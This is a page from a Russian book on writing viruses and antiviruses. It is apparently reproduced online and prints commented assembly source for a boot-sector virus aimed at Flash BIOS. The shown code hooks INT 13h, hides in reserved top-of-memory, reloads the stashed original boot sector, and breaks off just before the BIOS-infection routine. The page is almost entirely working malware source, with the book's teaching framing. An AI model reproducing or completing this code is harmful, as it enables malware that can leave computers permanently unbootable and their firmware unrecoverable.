Создаем вирус и антивирус (Гульев) - страница 54

Исходный текст вируса, заражающего Flash BIOS.

;Вирус, заражающий Flash BIOS.

;Если на компьютере есть Flash BIOS, имеется шанс, что его могут

;серьезно испортить. Если BIOS изменится, это может привести

;к неприятностям. Нельзя будет загрузиться даже с ”чистой”

;дискеты. Зараженный чип в рабочее состояние не вернуть.

org 0

;При входе в boot−сектор DL=загрузочный диск

mov si,7C00h

;Установим 0000h в регистрах DS и ES

xor ax,ax

mov es,ax

mov ds,ax

;Установим значение стека 0000h:7C00h

cli

mov ss,ax

mov sp,si

sti

;Уменьшим на 1Кбайт память (0040h:0013h)

dec word ptr [0413h]

;Получим размер памяти (при возврате в AX)

int 12h

;Так как размер памяти указан в килобайтах (1024 байт), а нужно

;в параграфах (16 байт), умножим его на 64, что эквивалентно

;сдвигу на 6 разрядов влево

mov cl,6

shl ax,cl

;Установим новый сегмент вируса (вершина памяти)

mov es,ax

;Перенесем вирусный сектор в вершину памяти

xor di,di

mov cx,200h

cld

rep movsb

;Сохраним вектор прерывания INT 13h. Поскольку этот вирус

;загрузился до загрузки DOS, то прерывание INT 21h еще не

;работает – работаем с вектором прерывания прямо в таблице

mov ax,word ptr [13h*4]

mov word ptr es:[offset i13],ax

mov ax,word ptr [13h*4+2]

mov word ptr es:[offset i13+2],ax

;Установим новый вектор прерывания INT 13h

mov word ptr [13h*4],offset Handler

mov word ptr [13h*4+2],es

;Переходим в точку ES:Restart (в копии вируса,

;находящейся в вершине памяти)

already_resident:

push es

mov ax,offset Restart

push ax

retf

;С этого места программа работает уже в вершине памяти

Restart:

;Загружаем оригинальный boot−сектор из конца

;root directory и передаем ему управление.

;Сброс дисковой подсистемы (перед работой

;с дисковой подсистемой надо выполнить

;функцию 00h прерывания INT 13h)

xor ax,ax

call int13h

;Подготовим регистры для загрузки оригинального boot−сектора

xor ax,ax

mov es,ax ;Сегмент для загрузки

mov bx,7C00h ;Смещение для загрузки

mov cx,0002h ;Дорожка 0, сектор 2

xor dh,dh ;Головка 0

mov ax,0201h ;Функция 2, количество секторов 1

;Проверим диск, с которого грузимся. 80h и выше – жесткий диск,

;иначе – дискета. Копия оригинального boot−сектора хранится

;в разных местах: на жестком диске – дорожка 0, головка 0, сектор 2;

;на дискете – дорожка 0, головка 1, сектор 14

cmp dl,80h

jae MBR_Loader

;Грузимся с дискеты: изменим сектор и головку

mov cl,14 ;Сектор 14

mov dh,1 ;Головка 1

;Загрузим оригинальный boot−сектор по адресу 0000h:7C00h

MBR_Loader:

call int13h

;Сохраним в стеке номер диска, с которого грузимся

push dx

;Проверим, заражен ли Flash BIOS

cmp byte ptr cs:flash_done,1

je Flash_resident

;Заразим Flash BIOS